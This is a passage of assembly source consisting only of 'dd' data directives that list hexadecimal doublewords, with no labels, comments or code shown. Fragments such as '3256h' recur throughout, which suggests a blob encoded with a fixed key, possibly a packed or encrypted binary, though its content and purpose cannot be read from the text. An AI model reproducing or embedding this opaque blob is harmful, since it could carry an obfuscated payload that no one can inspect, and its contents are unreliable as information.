0BDAF02FCh, 9CB132AFh, 0BAB13251h, 14A75B0Ah dd 0AE21CF02h, 0D0BECA56h, 0ABB1325Ah, 0D5B7B159h, 64BE3256h dd 75B13256h, 0BD583256h, 0BEB13256h, 0EC047022h, 57B18D7Ah dd 0CBB132AAh, 0D5343D36h, 8CB13256h, 0CA77E2D7h, 0DBB88037h dd 5DB0B559h, 0AE4D3256h, 57BFDB56h, 5CF53256h, 3B1F530Fh dd 0FC1BDD22h, 0AFCDD202h, 0DBD13256h, 5DA7B859h, 0BF583256h dd 0B4B13256h, 0ADEF4AF8h, 0C9012478h, 0F7CCBFF9h, 96A8C2BEh dd 31D13256h, 3C7AB986h, 0AE4D3256h, 57B4DB56h, 0EBAA3256h dd 0D59B9AE9h, 0EAB1C756h, 75B135BFh, 2BFD5A56h, 0DFF5620h dd 0A0583256h, 33B13256h, 9A19DEFDh, 6BE5464Bh, 61E8837Bh dd 80B13240h, 0BA443256h, 5DB9DB56h, 3FFE3256h, 0E647D21h dd 0ABB15DE1h, 0D5BDBA59h, 6DBE3256h, 75B13250h, 0BAB1BF59h dd 5DB13256h, 0AD333D36h, 58B13256h, 20D7CDE1h, 0D5B15381h dd 0EAB13DBFh, 45D7ED56h, 936DCA4Ch, 4EAA0328h, 93C06248h dd 57443256h, 0F9E75256h, 6F0E6809h, 8BD1AB44h, 9CD13256h dd 0BAB1325Eh, 400AC312h, 90AC1150h, 37B13237h, 20ECE4D6h dd 55D1539Dh, 9401509Ch, 8DB13237h, 0BA493256h, 0B54D5256h dd 0AEB13244h, 64AF8681h, 0CB9E82C9h, 0AD7933E8h, 4DA1FFEh dd 0FED7DDF9h, 0BAD069A6h, 0E5D75256h, 17D7ACCDh, 57D0B1E4h dd 5C0B5256h, 54CEF891h, 42E9E18Fh, 75B15308h, 0BAA2BC59h dd 0DFBE3256h, 0AEB1325Bh, 57B13ABFh, 201A3356h, 71353D3Eh dd 0EB313D99h, 8DB13256h, 32BE3256h, 5DB13251h, 0E9A18C36h dd 57D05426h, 0ABA3DB56h, 66B73256h, 1B0D5783h, 0A0D456F5h dd 423BDFD1h, 7E1DBF7Ah, 0AE4D3256h, 57B1CA56h, 0AF333D36h dd 0B3B13256h, 35AC2E8h, 75B1325Eh, 8B0FA26h, 544F6122h dd 0AEB1CB37h, 57B8B659h, 0F8D13256h, 1B305408h, 0EAD03E2Ch dd 62363D56h, 53B13256h, 5DB13244h, 18A32FB9h, 0E343DBD8h dd 0BB75205Dh, 2C26250Ah, 0EAB11491h, 0F4D7CE36h, 0DB50D890h dd 0D1BE3256h, 0AEB13257h, 37B132AAh, 0B858C1DDh, 0B7B13256h dd 0B597CF2Ch, 678F7242h, 9CA840Fh, 0F9B7F6EEh, 5BD07367h dd 0E7D13256h, 0A83E3D31h, 0DAB13256h, 12D0F1E1h, 0F4BE3256h dd 0BAB13257h, 0B4B132AAh, 0AEB13246h, 74A29C3Ah, 14AFBACEh dd 38BF2230h, 0B462275Dh, 75493256h, 0BAB1CA56h, 5DB13DBFh dd 0DBBDD756h, 0CA048DD5h, 0D1BDA6B7h, 0BBCAD111h, 52D13256h dd 7995FCB3h, 0ADD4D9D7h, 5DD0381Eh, 27BECB56h, 57B1324Eh dd 0ABA3B959h, 0D8583256h, 79B13256h, 9A2C715Dh, 28E3FBABh dd 172815C2h, 2EBE3256h, 57B1324Bh, 0ABA6B959h, 0C7583256h dd 9DB13256h, 3BB16E1Dh, 95B0BD22h, 439BBFDh, 63817DFAh dd 58B13257h, 0ABB12FD5h, 0C5595256h, 2B13256h, 0D152D48h dd 65727492h, 0FC6214EFh, 0F056E4DFh, 8677B330h, 0ABB153DBh dd 0D5B122BFh, 0CC4A4F56h, 0AEE1DA2Bh, 12F72968h, 0FB29530Dh dd 0A6333DA4h, 37B13256h, 0E8CA8830h, 0D5D0C3DDh, 0EAB1CA56h dd 75B122BFh, 803F3B56h, 0FFC63C6Ch, 20100C97h, 54D17834h dd 5EB132DDh, 0DAB132AEh, 0EAB128D2h, 0C2BE5256h, 0BAA1DBA8h dd 8D733256h, 85D190B2h, 0D6C448FCh, 7240B1h, 0D5D05D0Bh dd 0E13E3D56h, 9CB13256h, 0BAB13250h, 7D097D12h, 0AEB10CD0h dd 57B9B359h, 25BE3256h, 0D5B13254h, 0EAB15336h, 75BCB759h dd 0DCD13256h, 8407D4D7h, 3A55F5D7h, 0AED023C0h, 0AB493256h dd 6BD75256h, 62BEB9EEh, 75B13255h, 0DB69B930h, 0D1BE3256h dd 0AEB13250h, 0DCF08236h, 0ABB15388h, 0D5B13CBFh, 0C632C656h dd 0C9450638h, 0D25AAB20h, 5D87D339h, 0BE0A5256h, 0BEC7A49Eh dd 0ABB13251h, 0A7D89209h, 8B444C53h, 7B583256h, 0B1B13256h dd 6F376E87h, 0D22C0C53h, 8A7BC937h, 0A4B132DFh, 0D5B12ED6h dd 0FC383D56h, 9CB13256h, 0BAB13247h, 988A4AD7h, 7DB884B1h dd 0CE6F8524h, 11AAA055h, 20B13225h, 0F9583256h, 0C5B13256h dd 44C16B22h, 394F06DEh, 2E25F700h, 96373FCFh, 0ABB183ECh dd 0DAB132A3h, 0EAB12FDFh, 0A03B5256h, 0BAB126BFh, 98EA4E56h dd 513F8611h, 55D8A2D8h, 0DF386D27h, 1729BF36h, 0EAB15369h dd 8DB132AAh, 0DAB132A3h, 5DD0FCDDh, 0BE585256h, 60B13256h dd 0BCD9B186h, 21B7A6E5h, 68014EC0h, 13D84656h, 2916E3D7h dd 553F3D37h, 0A1B13256h, 57B130DCh, 0ABD05256h, 54BE5256h dd 0EAB13253h, 5753B330h, 0BAB15366h, 52B132AFh, 0AEB135D8h dd 56343D56h, 52B13256h, 56BE3256h, 0EAB13257h, 80B132AAh dd 0BA483256h, 5DA1DB56h, 40253256h, 24774514h, 615E266Ah dd 3D1E5CFh, 0EAB15AAEh, 75BDB559h, 31BE3256h, 5DB13250h dd 0AEB1B959h, 57B13256h, 0ABB4DB36h, 55AA3256h, 0BCE09670h dd 75B1B859h, 0DBE93256h, 5B583256h, 13B13256h, 29D594B4h dd 0A4B13210h, 0D5B129DCh, 0FF363D56h, 9CB13256h, 0BAB13246h dd 0B5DB9B47h, 23ED74D1h, 0F3A01E8Ah, 377AFA6Ch, 0D2583256h dd 90B13256h, 958832CBh, 0BAB153BDh, 5DB6B259h, 2ABE3256h dd 57B13257h, 0A4B132AFh, 0D5B122D9h, 0E0383D56h, 9CB13256h dd 0BAB13253h, 4F36C6ABh, 0A1B132DEh, 57B133DEh, 57D1C756h dd 0D5B121BEh, 5E972256h, 0F7161289h, 0ACD4B54Bh, 3E6D98ABh dd 56EEA89Eh, 57B123BEh, 3BCAEF56h, 68F9E7AAh, 5A812E95h dd 0B22E52C0h, 0E3EB10AAh dd 0A4B13237h, 0A9583256h, 59B13256h, 0BE802299h, 0D54408A7h dd 0E6373D56h, 15B13256h, 0B78616EFh, 86305409h, 0AED0B226h dd 314D5256h, 0C269D8D7h, 0B5B13237h, 0DDB6D3D7h, 0FFD13A1Ch dd 0B5D053B9h, 5DB133D0h, 0AEB1CE56h, 57B13EBFh, 0A1A6CB56h dd 0D924B1BDh, 3085A53h, 8DB132EDh, 0DB168336h, 0D7BE3256h dd 0AEB13259h, 57B138BFh, 34BAED56h, 0DE862E8Eh, 8A60B3E1h dd 0F703E3D7h, 0A9095120h, 3CC1292Eh, 0A2583256h, 61B13256h dd 4ADA8CBCh, 0F3DF7CCCh, 0EAEF51DCh, 75B6DB56h, 33FA3256h dd 0F644DF3Eh, 52B132A9h, 0DDBE3256h, 0ABB1325Ah, 0D5B7B959h dd 60BE3256h, 75B13256h, 3D13256h, 5B3B283h, 0AED0C2DDh dd 0BE4D5256h, 0ABB1325Ch, 46FE17AFh, 34E72D56h, 75D0A4BCh dd 0BABBDB56h, 0E30C3256h, 0CE6BE882h, 67A83DE5h, 2CBE3256h dd 0D5B1324Eh, 0EAB121BFh, 0FFD54056h, 54B9D39Fh, 0DD9DAFF8h dd 3E1D5E97h, 169BAB11h, 20BE3256h, 0D5B13251h, 0EAB0B059h dd 75483256h, 0BABADB56h, 754B3256h, 0CF145B9Bh, 0A4435C94h dd 0ABB4DBA8h, 0AA023256h, 0EA6A2C1Ah, 0CCD75256h, 53D1A27Fh dd 5DB1325Bh, 0C9110F67h, 448D322Ch, 0F95A297Fh, 263A549Ah dd 6CBE5337h, 75B13247h, 0BAB13EBFh, 0F333AC56h, 0F2059F9Fh dd 0D6C1F0CDh, 0A4B13282h, 0D5B133D0h, 0EAB1CB56h, 75B6B459h dd 31BE3256h, 5DB13257h, 47B132A3h, 57B1325Fh, 2654072Fh dd 0AA61119Dh, 61BE52D5h, 75B13242h, 0BAB13CBEh, 0A1DD0356h dd 0C9E6E647h, 0FDF9DE1Dh, 0F08F112Fh, 0D5B5BE59h, 55D73256h dd 75D0955Bh, 0BAB1CE56h, 0D50F5436h, 0AEBCDA9Fh, 0A03A3256h dd 9CEB6A30h, 0CF098BBFh, 8C9449A6h, 2C972EE9h, 0DAB13237h dd 0AE3A52A3h, 0CFD0C5DDh, 0AF443256h, 0AB483256h, 0D5B1CB56h dd 0EAA5B159h, 9DD13256h, 0BAB1325Eh, 0EA83AA8Bh, 8FCA1E48h dd 8E0F5408h, 0A4D1530Eh, 7E08FDE9h, 8BBCAD0Eh, 67583256h dd 33B13256h, 9D47854Ch, 25258C4h, 5A8A3CFh, 0FF7FC114h dd 0DAB1324Eh, 0EAB120D9h, 87305256h, 0B7070CA0h, 5DB137BFh dd 44D3D56h, 57D05453h, 2ABE5256h, 0D5B13254h, 5DBEE8DDh dd 75B153A7h, 0BA90B859h, 0B4D13256h, 0AEB13242h, 16F5211Fh dd 0C18C51E9h, 2477D7F2h, 0E0894953h, 14115560h, 0BAB1BB59h dd 5DD03256h, 0AEB1CE56h, 2E2F8A36h, 0A4D01E62h, 0D5B133D7h dd 0EAB1C756h, 9CB132AEh, 0BAB1325Fh, 0A411BD7Bh, 0A7EDCh dd 37B132B6h, 0ABB0B459h, 0B4483256h, 66BE3256h, 75B13242h dd 0BABFB759h, 54583256h, 16B13256h, 507DDE19h, 0A46E9BDAh dd 6BD13256h, 0CC1D192Ch, 0A60B5436h, 0B5D05327h, 5DB13ED6h dd 0A8343D56h, 58B13256h, 0ABB132D9h, 3CB13256h, 0EAB1325Eh dd 4E841D7Dh, 0E7CFAFB6h, 52D13256h, 0AEB130D1h, 0D6EF6556h dd 5C1674A7h, 0D544537Bh, 6BD75256h, 7A371F90h, 0BAD0E8E1h dd 5DB6DB56h, 0B7783256h, 0B403E4CCh, 0A4B132A2h, 0D5B133D5h dd 0EAB1CE56h, 8DB132A3h, 0DCD13256h, 3DD0E1DDh, 0AEB9DB36h dd 2C173256h, 0E339F095h, 6ABECF20h, 8CE05394h, 2B33E8E9h dd 0B5B13237h, 5DB110D7h, 27BE5256h, 57B13256h, 0ABB126BEh dd 8C107156h, 0B6A5C94Dh, 7E11C32Dh, 0F5D243A8h, 6428F637h dd 0A1D06C89h, 57B133D9h, 0ABB1C756h, 0D5A0B359h, 0E6583256h dd 0B1B13256h, 39D0C651h, 0C11D8A1Dh, 4703226Ch, 57B13242h dd 0E1ECCE8Eh, 0A24EBF87h, 0EAFF268Bh, 45F85816h, 0F5FB09B1h dd 5D443256h, 0AEB1CB56h, 57B138BFh, 0E79CE956h, 0C777D672h dd 0EACCE2E7h, 75B1C756h, 0BABADBAAh, 0E5553256h, 0FB279DC9h dd 0E89F538Fh, 0A4B13220h, 0D5B133DDh, 0EAB1C756h, 7AEB8736h dd 0BAD0F8E9h, 47343D56h, 0A1B13256h, 57B126DBh, 0ABBEDB56h dd 9BF43256h, 0E67D1171h, 0B14DA3E4h, 0C0E5729Ch, 0A1B132A9h dd 0A1B132AFh, 57B123DEh, 0A03A3D56h, 3CB13256h, 0EAB13250h dd 6456C4D2h, 0B5D1687Bh, 5DB12CDCh, 0B6373D56h, 0BEB13256h dd 0ABB13245h, 0C162995Fh, 0C9779542h, 14FF250Bh, 570A9343h dd 3D8DBA20h, 0A1428D59h, 57B132DDh, 0AB595356h, 8FB13256h dd 7884D8D7h, 0C3D1344Fh, 39BE533Eh, 5DB13257h, 2334BFA3h dd 0BEB72ADBh, 0ABB1325Ch, 6B5357CDh, 0F824B3C5h, 0F73888A8h dd 0BCA84991h, 5DB126BFh, 7D17D956h, 5E328D77h, 0F4253830h dd 0B0F45924h, 236990BAh, 0B533BF71h, 0B5B72824h, 5DB13EDFh dd 0A8303D56h, 58B13256h, 0ABB132D6h, 0D33BB56h, 0E5B72B2Dh dd 75B133D5h, 5244CA56h, 5DB10A63h, 0AEB120BFh, 9E56EC56h dd 1379F392h, 0C5D05155h, 364526A5h, 9D4EDBD3h, 0BAB130FFh dd 5DB123BFh, 0AC449856h, 0A0368DD3h, 514C5414h, 279CCB8Bh dd 0FA588466h, 0ECB13256h, 0DA80A7D0h, 0DD8852F6h, 57BBAFC2h dd 90A85EAAh, 0B2CA7FD4h, 0D5B13250h, 1E3B5256h, 75A3DB00h dd 8B843256h, 7AB63F56h, 88D465C4h, 965D00E1h, 603DDB76h dd 20E35309h, 0FB50B790h, 7AE73445h, 0BAB13AD8h, 5F373D56h dd 0CEB13256h, 0EFE35A37h, 0A558AEFEh, 0E2B13256h, 0C8B50C8h dd 0BBC54DBDh, 0F0DBB41h, 5DBBDBCAh, 29FF3256h, 513D1C8Ah dd 9568DAEAh, 0CB5887A9h, 0E7583445h, 68B13256h, 634D4633h dd 5CD4C0Ch, 6620D476h, 2B82B7DBh, 20D13440h, 54E53ADh dd 0EAA3DB36h, 526F3256h, 96407D25h, 7AC80402h, 32E3E9B2h dd 0EB2706B6h, 8AAE7EEFh, 50385376h, 0ECA21B2Bh, 71DBCEAEh dd 0AAB15AAFh, 0DCD13256h, 0EA3F4DBDh, 5258534Ah, 25B13256h dd 0D032E9F5h, 0E9BC723Eh, 75DBCE56h, 5361CDAEh, 5DB13253h dd 88FF7099h, 57A1DB3Ch, 0E9053256h, 6E266B23h, 0CD73C21Dh dd 0AC83C071h, 53EB6D96h, 5DB1325Eh, 8964B7B6h, 0BF2135E6h dd 2FBEF25Dh, 0D5B13373h, 0EAB0B659h, 0FC483256h, 0A3CA7FD4h dd 4D585250h, 0FB13256h, 0E486E667h, 20D84962h, 0DDA15D0h dd 5C59C74Eh, 0F73853D7h, 0BCA8490Dh, 5DB9DA36h, 541E3256h dd 0C2BC5C21h, 0B40824A0h, 8D80D3DEh, 13D0CBDDh, 76BC72EFh dd 0B6393D56h, 52B13256h, 0AEB134DFh, 573C3D56h, 20B13256h dd 3C4452AEh, 0EAB13244h, 0B7893189h, 0FCEF0A49h, 0DD20DCE3h dd 1F7797AAh, 64D0606Ah, 5848CE96h, 0B5E752FCh, 4C016937h dd 80E3CE37h, 0B058363Ch, 0BAB13256h, 0F63DBA30h, 28525906h dd 0BBB15A6Ah, 0D2583256h, 73B13256h, 0E1E892F9h, 0D248B632h dd 5DB13656h, 0AEBDB559h, 0D4BE3256h, 0ABB13250h, 0D5B1BE59h dd 0EADB3256h, 75B13BBFh, 0FD1D2356h, 0BF50D163h, 3C4E8CF4h dd 51A21B2Bh, 0ABA5DB36h, 40943256h, 13B65D88h, 0D32A7281h dd 286F3C15h, 2A09BE3Eh, 0CF49D64Ah, 4F3D3D0Ch, 42B13256h dd 0D5B13245h, 1CDCA083h, 0EDBAB888h, 90F51476h, 0B01F98h dd 27519F2Bh, 4ECF68D4h, 0ABB6DB50h, 210B3256h, 0CCCF76BCh dd 0F4BE538Ch, 0BAB1325Eh, 5DB3BE59h, 0CFD13256h, 57BCDB36h dd 0AEC03256h, 2D8EDCADh, 0EE02B5DDh, 7A795598h, 31D0C5E9h dd 44CA7FD3h, 46E75250h, 57B13244h, 0BC6D2CB1h, 0F2839A41h dd 35409201h, 0BF6A8E91h, 0E5EF396Bh, 0DABEF137h, 0AEB13257h dd 0BED152A3h, 0ABB1325Eh, 65535D05h, 7CD1A55Eh, 0CC33F537h dd 0BAB72158h, 0B4B17256h, 0AEB13242h, 89274495h, 16F50DFCh dd 2FBE0CB1h, 0A3FCF981h, 20910FE7h, 9328B091h, 4DB13445h dd 0BF583256h, 31B13256h, 2D39A231h, 2A57E480h, 0D51D7C0h dd 9FF2A3Dh, 0BB303D37h dd 0A4B13256h, 19BE5295h, 0BED153A9h, 0ABB13247h, 0ADC533E4h dd 0FEC8BE2h, 0AF2D7E33h, 930D4F44h, 100BB9C8h, 0A1B72B2Dh dd 57B126D9h, 0A6585256h, 53B13256h, 48781F10h, 861D8F85h dd 5FCB88A6h, 5D8EB137h, 0AE65B659h, 0D9BE3256h, 0ABB13248h dd 0D5A9BE59h, 0F9583256h, 96B13256h, 8EA778A6h, 7F34756Ah dd 0A34225FEh, 77B4A69Eh, 0D432EADBh, 51BE3046h, 0EAB1320Bh dd 75B135BFh, 0F2953256h, 0CF7B1C24h, 0AEB7B559h, 0E0D13256h dd 0CA6FB978h, 0D1A14DD5h, 0EAD0B659h, 80D13256h, 0BAB122BFh dd 4131C356h, 0FA22D1C9h, 0D8F7FA19h, 0A37CF315h, 1232533Ch dd 0E13E3D42h, 9CB13256h, 0BAB13250h, 1494B970h, 0D858410Fh dd 374ECDA9h, 0ABB3B659h, 8AE73256h, 0FAF6F537h, 75B13257h dd 4561DBAFh, 4958CDA9h, 91B13256h, 3E01BBD5h, 0B8B0B934h dd 30D7C88Ah, 365707E6h, 0B2D8F809h, 0BAB22211h, 0D7BE3256h dd 0AEB13257h, 0A815DBAAh, 0CB48CDA9h, 0D5B13ABFh, 62AF4956h dd 0E3D60E82h, 0B5D0538Bh, 5DB13AD7h, 0AC3B3D56h, 37B13256h dd 0A658F137h, 0CEB13256h, 4445EC4Eh, 0CF27B89Dh, 0E8E21A76h dd 0BD305203h, 0EC014CCEh, 51333D37h, 0CBB13256h, 8AE0EADDh dd 135DB937h, 0F4BE5236h, 0BAB13256h, 0B5D071E2h, 0AEB13256h dd 7D5BB30Ch, 0A4B72BC1h, 0D5B127D5h, 0E4585256h, 0CFB13256h dd 9FABD5CFh, 41BBCCB4h, 1657FB5Fh, 0DC445357h, 0B2CF4AE4h dd 0D5BBDB50h, 53D93256h, 19E489BFh, 7D9916B6h, 0B4B977DDh dd 0AEB1325Eh, 0FC4091Eh, 0DB41BB95h, 204834DFh, 94C9B0D5h dd 7AB5344Fh, 0BAB13ED3h, 5DB6DB56h, 0B7ED3256h, 6A8EC61h dd 0A1585326h, 0A7B13256h, 0AC52167Fh, 0DDB324F6h, 4278CA21h dd 5DB123BFh, 8BC4D456h, 445429A5h, 14D67976h, 0C87F685Fh dd 0EE737A6Dh, 743D3D56h, 42B13256h, 5D59CE36h, 0F4B13256h dd 0C078D8D7h, 0A44D344Fh, 0D5B133D0h, 8CD1C756h, 13D220EEh dd 31D0C5DDh, 44CF68E4h, 0AF373D50h, 0AEB13256h, 0D5C9806Dh dd 51BE344Fh, 0EAB133E7h, 75B6B959h, 38BE3256h, 5DB13257h dd 568FB9A3h, 376EB9AAh, 0CACBEFD6h, 0D5BBB159h, 0EF583256h dd 6CB13256h, 8E49F085h, 5CFE8459h, 0AEB13CBFh, 18131F56h dd 96C22F80h, 0FC7E2FACh, 3DEE9E9h, 75B13246h, 4EFB8C6Dh dd 5EBF7CACh, 0D2904CCFh, 26487BD3h, 2BB075A0h, 0D5EAB759h dd 65BE3256h, 75B13257h, 0B56831A3h, 5DB12BD7h, 0AEA5DB56h dd 5D123256h, 43162459h, 6235724Ch, 0B72D7766h, 164F5F7Ch dd 0FC583264h, 3DB13256h, 0AEB121BFh, 44B8C456h, 54EA9C52h dd 0CC33B963h, 949A76FBh, 40ABE595h, 5757B236h, 5DB13BBEh dd 9A3D1656h, 16FF85B4h, 0CAE9F437h, 0DA681937h, 0EAB122DFh dd 75BADB56h, 3BA33256h, 8F7E52B0h, 0FDD18880h, 0D0BE717Ch dd 0ABB1324Eh, 0D5B121BFh, 0AB265D56h, 86DD7C5Eh, 0DFD65366h dd 0C4415A60h, 3F62E48Bh, 9B095215h, 0A4AB85A9h, 0D5B131D0h dd 0A46AB256h, 0D034B937h, 53B72177h, 5DB1325Dh, 53AF2472h dd 0BC46534h, 0A4E643DCh, 0D5B133D1h, 673ACE56h, 73A22853h dd 0DBD15236h, 0DDD0CFDCh, 47D0C2B0h, 57B1325Ch, 61B91F09h dd 26AC64FAh, 328A0925h, 7591B059h, 814D3256h, 4A363D8Fh dd 0A1B13256h, 57B135DCh, 0AA343D56h, 2CB13256h, 12B5F4D5h dd 8A4FBDBFh, 758AC7A9h, 5DF2B659h, 0A6583256h, 59B13256h dd 4D146E08h, 203DCCDAh, 0F0B48FDFh, 7D583445h, 9DB13256h dd 503CF38h, 476314D0h, 0A84ECC05h, 610E3D36h, 0D5B121BFh dd 5F0A3B56h, 0EC4E7D97h, 6868B6A4h, 0E95611A6h, 0A56CDE38h dd 37D15337h, 431FD7D6h, 0D5B13250h, 0D3D7B4CEh, 14E9A708h dd 79D0C7DCh, 5DB13ABFh, 9395A156h, 0C4F949A3h, 26BE523Dh dd 0D5B13248h, 0EAA9B659h, 66583256h, 5FB13256h, 0FCF35ABEh dd 17F3223Ch, 0D2AEF7B5h, 6F1D32DCh, 0D5598CACh, 0B0B13256h dd 0EC48D8D7h, 0DCD1344Fh, 304AEDD7h, 0CFAEF0D6h, 0D0BB9A3h dd 5EB72B28h, 0D5B032EFh, 2A82C756h, 75B139BFh, 9C994F56h dd 2712AD8Ah, 90D62602h, 57B9B559h, 2DBE3256h, 0D5B13254h dd 41425336h, 2F33B9AFh, 0DAB72B28h, 5DB4BF59h, 2FD73256h dd 7B483B7h, 0ABB1BC59h, 0B4EA3256h, 94C9B0DFh, 0F0BE344Fh dd 0BAB13242h, 5DB13DBFh, 634BBF56h, 6CD4F8E5h, 596679E6h dd 3F00DE54h, 35305237h, 529A4FC5h, 0E5E28104h, 3D49F137h dd 0F7D05201h, 57B121BEh, 60229A56h, 1013E1AFh, 0B1B6C3AEh dd 8B209630h, 0D252B4E9h, 3CEB5336h, 0BD3F3D36h, 0BEB13256h dd 0ABB13258h, 0EB66050Eh, 14021329h, 2238823Fh, 0BA596694h dd 7B13256h, 3474D8D7h, 0D3BE344Fh, 0ABB13245h, 0D5B13CBFh dd 0A36C3856h, 0EB7C95F7h, 73211C2Eh, 3D065BB9h, 0A1418D59h dd 57B132DFh, 2E775356h, 0D3A223B7h, 0E7313D00h, 9CB13256h dd 0BAB1325Eh, 0EE45BB89h, 0DF92C895h, 48DC0B3Eh, 1E4ECA82h dd 0D3A22CBFh, 8C218636h, 14759FEEh, 0C682B7DBh, 0D7BE3440h dd 0AEB1325Eh, 57B3BB59h, 0CAD13256h, 56BEE2A9h, 0EAB13253h dd 8C3ACE36h, 53E3CB37h, 5DB13246h, 1BDD8ADDh, 4056FE1Ah dd 0FB05F32Eh, 137CED61h, 0EB3B3D06h, 8CB13256h, 0BA31323Eh dd 5DDBCE56h, 0E303CDAFh, 37B72B2Dh, 9FE5F7EEh, 54E535Eh dd 8CD16AAAh, 0B5DFC3D7h, 0FC6EB330h, 0A5EB53D2h, 146EB936h dd 488A7E64h, 2BB15A37h, 52BE3256h, 0EAB13257h, 7AB158AFh dd 0BAB133D2h, 0EF4ECE56h, 0A8A84C0Ch, 0FAB58C36h, 0CDE13F03h dd 8A4774E9h, 361CD37h, 75B1325Eh, 0EFF525B5h, 7D9965E9h dd 0AEA3DB37h, 0F1A33256h, 77A659C2h, 4CE72288h, 0F822335Dh dd 853D92CAh, 0B2333D95h, 3DB13256h, 0C85FFBD6h, 2D0E8DDh dd 525DB9AEh, 5CD08D36h, 8AD04BCCh, 70343D36h, 1B13256h dd 7753DA3h, 0CF638559h, 57B132BEh, 41306856h, 0D3A8AE59h dd 0EAA2DB36h, 64E43256h, 3CD89E45h, 0A717A2B3h, 0BD8FF7Eh dd 0A5DFF037h, 0A44453A5h, 0D5B13AD0h, 0E83E3D56h, 15B13256h dd 0B2C4B937h, 0E82E8D36h, 0BE587039h, 4FB13256h, 8B94E18h dd 5A7BCBBh, 432C9FBEh, 14A2C098h, 0BAA01EBEh, 51313D56h dd 0A1B13256h, 57B134DEh, 0AB3B3D56h, 80B13256h, 0EABBDB36h dd 5E043256h, 0C381693Fh, 0C0EE171Fh, 0AEB123BEh, 36902F56h dd 0E294B970h, 0F488410Fh, 80241BF3h, 0CBD7A91Ah, 0DBEF55CEh dd 2676A0A9h, 0C8D1344Fh, 325FE9D7h, 0ABA6B459h, 0C4593256h dd 51B13256h, 0E21B1458h, 22D5CA44h, 965B5745h, 0B0498EA0h dd 37EC530Eh, 0CD688D59h, 0EED0F8DDh, 6FBE3E23h, 8A4ECDD6h dd 0BAB139BFh, 0E7211B56h, 4E85C84Ch, 0A0BDCD4Ah, 0ABA1AEBEh dd 0D3595256h, 0F9B13256h, 0E617195Ah, 727EB35Fh, 5D085E9h dd 0BCE9F2E9h, 0BED0531Ah, 0ABB13250h, 24EAEA22h, 16782ED6h dd 9CB13A94h, 0BAB13258h, 34571A6Bh, 0AAF8D45Eh, 1428AC2Ah dd 0CBE4C8BDh, 0B3A78336h, 0E5D0FDDDh, 75B130D5h, 0DBE96456h dd 0D2BEDEDDh, 0AEB1325Ah, 573C3D36h, 0CDB13256h, 0B496B7ECh dd 0EAB139BFh, 0A4499756h, 1C8C35A5h, 0D18959Bh, 5B4DF6D5h dd 31E65200h, 0F8E9F1DDh, 0B5E6530Eh, 0EAB120BFh, 85429E56h dd 0E65448ECh, 6CA0110Ch, 7D365972h, 0BE25B366h, 0ABB13245h dd 594AC1D3h, 61E3AAABh, 1ECC89C7h, 8A9B7CC8h, 3C0657C8h dd 25D75205h, 0E56FB397h, 0CAE7902Dh, 0D5B1DAAAh, 6BEB3256h dd 6C2C8ABCh, 0BAA5DB50h dd 0CD213256h, 950179ADh, 6F474D0Bh, 0D3B4929h, 5995C6CAh dd 6148D062h, 0F7BE3A23h, 0BAB13251h, 5DB0BE59h, 25493256h dd 5158222Bh, 92B13256h, 0FF327841h, 3E6CA45h, 75B1325Ch dd 0CE97624Bh, 0A15C0B71h, 47E743D6h, 57B1325Dh, 389CB23Eh dd 7E3D7BA8h, 2FF97A2h, 75B133EEh, 0BAB13CBFh, 1504E256h dd 0C81AA4CBh, 0D97EFE62h, 0A0538E76h, 23353D96h, 0E5B13256h dd 75B135D1h, 0BB373D56h, 0A5B13256h, 0BA58CADDh, 0B2B13256h dd 0FF965B69h, 0D08CC615h, 0C13DFB69h, 9AAA9F70h, 0EFD1FBFDh dd 9A23CDAEh, 0CEB72B2Dh, 0E07EB330h, 0ABA2DAD8h, 71683256h dd 143F3714h, 66A06748h, 5F375BFAh, 754B94C6h, 0F3D0689Bh dd 57BFBD59h, 0A2583256h, 0D8B13256h, 7136D1A5h, 34F99B19h dd 0B5BD476Dh, 5DB1BAD2h, 0AEBADB56h, 6BFB3256h, 0DE9A234Bh dd 7D06DE9Eh, 0F43A5484h, 9231CBAAh, 0B4323DA6h, 3DB13256h dd 9517F3D7h, 0D0BE6BF5h, 0ABB13256h, 3CAFB837h, 0EAB13246h dd 8AD3E788h, 48C31664h, 0E77931F9h, 0CA503FB4h, 5841D1D6h dd 0ABB133D9h, 0BF59C756h, 3B1327Eh, 75B13251h, 0B5018D4Eh dd 0B445A48Ah, 514ECCB8h, 57BDB759h, 2DBE3256h, 0D5B13250h dd 0EAB1B159h, 7B583256h, 0DBB13256h, 0F7C78D78h, 4C10F851h dd 624B17B4h, 57CCBB4Eh, 0D5B135BFh, 0ACBD7256h, 8D07368Dh dd 0BAB134BFh, 6428F656h, 46CE2D89h, 0A84EC428h, 0CDD169AFh dd 54BEC9DDh, 0EAB13250h, 5B3D1D7h, 0E5D009C5h, 5DB120BFh dd 0FE189556h, 0C1A20104h, 64352AC7h, 0C7513E0h, 0B47FDBC4h dd 95305436h, 0B5593ACFh, 0C9B13256h, 387A78B9h, 0A2FB2B4Fh dd 72AA75F4h, 92084F69h, 0B1ECFDAEh, 89F4B937h, 0BABCDA36h dd 20C73256h, 0A5AD9E6Eh, 981F02CCh, 1C124DE6h, 64026A6Eh dd 6CBEFB37h, 75B13245h, 6E095436h, 5DB6DAEBh, 6C5B3256h dd 499F2CBFh, 69D06D13h, 2049325Ah, 0FA595203h, 0E8B13256h dd 433D0551h, 5353E708h, 3FF0EC79h, 0EEF373C7h, 94562120h dd 0C458520Eh, 77B13256h, 241F4B4h, 80244B32h, 9CDA8A9h dd 29CE8650h, 0BB3A5337h, 5375B1AAh, 0D95865A3h, 0AB13256h dd 0D9F4326Fh, 11DE40CDh, 0B1AA51Fh, 0AEBDB059h, 0D5BE3256h dd 0ABB13250h, 0D5B1B459h, 3E03256h, 75B13246h, 2260FD63h dd 185161A0h, 82B74E1Ah, 0C6304555h, 0ABB4B059h, 29D13256h dd 0B9D06D06h, 75B121BFh, 80068C56h, 7166874Fh, 0A90C96D4h dd 9F3DAA41h, 14D424CBh, 0D5497791h, 3B13256h, 75B1325Fh dd 0F8CBABA1h, 8375625Dh, 133F59Eh, 56B72B2Bh, 42B13256h dd 0D5B13244h, 589A9A20h, 0BAF8A1B0h, 3B3245F3h, 271563B3h dd 2549C9F9h, 0DBBE3A23h, 0ABB13250h, 6672B936h, 61D753E8h dd 2BE35248h, 0F70BB937h, 0A8B72B2Dh, 0CEB96DDDh, 0DE62B330h dd 68063D58h, 0DA6A3937h, 0EAB1E3D2h, 75A3DB56h, 0FE663256h dd 734115C3h, 3A52200Eh, 532B45A0h, 10775D41h, 0DA6F09AEh dd 0EAB14AD3h, 75A0DB56h, 7A1D3256h, 0A06F417Eh, 9144DF4h dd 1323D067h, 